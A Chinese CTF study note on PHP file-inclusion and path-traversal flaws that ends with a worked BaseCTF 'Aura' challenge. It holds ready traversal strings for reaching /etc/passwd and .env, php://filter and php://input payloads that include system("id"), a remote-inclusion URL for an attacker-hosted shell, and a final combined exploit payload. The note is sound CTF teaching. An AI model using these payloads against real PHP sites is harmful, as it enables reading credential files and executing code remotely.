少女祈祷中...

路径规范化

1
2
3
4
5
6
7
8
./..//..//secret.txt

....//./....//./secret.txt

..././..././secret.txt

....//....//....//etc/passwd

多试试看,总会成功的

怎么检验存在文件包含:

看看是否存在这些函数

这些函数会将目标文件内容作为PHP代码执行,是最高危的漏洞入口:

1.执行文件函数

(1) include()

  • 风险:包含并执行指定文件,文件不存在时仅警告。

  • 示例漏洞代码

    1
    2
    $file = $_GET['file'];
    include($file); // 用户可控参数直接传递
  • 利用方式

    1
    2
    http://target.com/?file=php://filter/convert.base64-encode/resource=config.php
    http://target.com/?file=http://attacker.com/shell.txt

(2) include_once()

  • 行为:与include()相同,但确保文件只被包含一次。
  • 漏洞利用:同include()

(3) require()

  • 风险:与include()类似,但文件不存在时会引发致命错误。

  • 示例漏洞代码

    1
    require($_POST['module'] . '.php');
  • 利用方式

    1
    2
    POST数据:module=php://input
    Body内容:<?php system("id"); ?>

(4) require_once()

  • 行为:与require()相同,但确保文件只被包含一次。
  • 漏洞利用:同require()

2. 读取文件内容的函数(可能导致敏感信息泄露)

这些函数会读取文件内容但不会直接执行代码,若返回内容被输出到页面,可引发敏感信息泄露:

(1) file_get_contents()

  • 风险:读取文件内容并返回字符串。

  • 示例漏洞代码

    1
    2
    $config = file_get_contents($_GET['path']);
    echo $config;
  • 利用方式

    1
    2
    http://target.com/?path=/etc/passwd
    http://target.com/?path=php://filter/convert.base64-encode/resource=index.php

(2) file()

  • 行为:将文件内容读取到数组中。
  • 漏洞利用:同file_get_contents()

(3) readfile()

  • 风险:直接输出文件内容到输出缓冲区。

  • 示例漏洞代码

    1
    2
    $file = $_GET['file'];
    readfile($file); // 直接输出文件内容
  • 利用方式

    1
    http://target.com/?file=../../.env

(4) highlight_file() / show_source()

  • 行为:语法高亮显示PHP文件源码。

  • 漏洞利用

    1
    http://target.com/?file=flag.php

流程:(以catctfcatcat-new为例子)

1.查看是否存在读取文件的行为:

image-20250328001356207

2.尝试读取/etc/passwd

要学会使用../../../………………来慢慢的找出是否可以读取/etc/passwd

image-20250328001640895

3.知晓要读取什么:

img

eg

image-20250328174332180

4.知晓网站是由什么编写的:

使用工具Wappalyzer

如果是py看看能不能SSTI

路径规范化

1
....//./....//./....//./
1
..././..././.../

例题:

1.BaseCTF2024新生赛Aura酱的礼物

考察什么?

ping绕过,伪协议的利用,@绕过

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
highlight_file(__FILE__);
// Aura 酱,欢迎回家~
// 这里有一份礼物,请你签收一下哟~
$pen = $_POST['pen'];
if (file_get_contents($pen)!== 'Aura')
{
die('这是 Aura 的礼物,你不是 Aura!');
}

// 礼物收到啦,接下来要去博客里面写下感想哦~
$challenge = $_POST['challenge'];
if (strpos($challenge, 'http://jasmineaura.github.io')!== 0)
{
die('这不是 Aura 的博客!');
}
$blog_content = file_get_contents($challenge);
if (strpos($blog_content, '已经收到Kengwang的礼物啦') === false)
{
die('请去博客里面写下感想哦');
}

// 嘿嘿,接下来要拆开礼物啦,悄悄告诉你,礼物在 flag.php 里面哦~
$gift = $_POST['gift'];
include($gift);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
// 以语法高亮的形式输出当前PHP文件的源代码,通常用于调试或展示代码结构
highlight_file(__FILE__);

// Aura 酱,欢迎回家~
// 这里有一份礼物,请你签收一下哟~
// 从HTTP POST请求中获取名为 'pen' 的参数值,并将其赋值给变量 $pen
$pen = $_POST['pen'];

// 尝试读取 $pen 所指定文件的内容
// 若该文件内容不等于 'Aura',则终止脚本执行,并输出错误信息
if (file_get_contents($pen)!== 'Aura')
{
die('这是 Aura 的礼物,你不是 Aura!');
}

// 礼物收到啦,接下来要去博客里面写下感想哦~
// 从HTTP POST请求中获取名为 'challenge' 的参数值,并将其赋值给变量 $challenge
$challenge = $_POST['challenge'];

// 查找 'http://jasmineaura.github.io' 在 $challenge 字符串中首次出现的位置
// 若该位置不是字符串的起始位置(即不等于 0),则终止脚本执行,并输出错误信息
if (strpos($challenge, 'http://jasmineaura.github.io')!== 0)
{
die('这不是 Aura 的博客!');
}

// 尝试读取 $challenge 所指定URL的内容,并将其赋值给变量 $blog_content
$blog_content = file_get_contents($challenge);

// 查找 '已经收到Kengwang的礼物啦' 在 $blog_content 中首次出现的位置
// 若未找到(返回 false),则终止脚本执行,并输出错误信息
if (strpos($blog_content, '已经收到Kengwang的礼物啦') === false)
{
die('请去博客里面写下感想哦');
}

// 嘿嘿,接下来要拆开礼物啦,悄悄告诉你,礼物在 flag.php 里面哦~
// 从HTTP POST请求中获取名为 'gift' 的参数值,并将其赋值给变量 $gift
$gift = $_POST['gift'];

// 包含并执行 $gift 所指定的文件,一般期望该文件为 flag.php,以获取礼物内容
include($gift);

1.伪协议利用:

以后看见文件读取一定要记得伪协议!!!!!

使用伪协议输入Aura

1
pen=data://text/plain,Aura

2.@绕过

1
2
代码错误地检查了 PHP_URL_USER(用户信息部分)而非 PHP_URL_HOST(主机名)、
scheme://[user:password@]host[:port][/path][?query][#fragment]

这里**@把前面的代码当作了user了**

最终payload:

1
pen=data://text/plain,Aura&challenge=http://jasmineaura.github.io@127.0.0.1&gift=php://filter/read=convert.base64-encode/resource=flag.php

2.XYctf签到:

考察点:路径规范化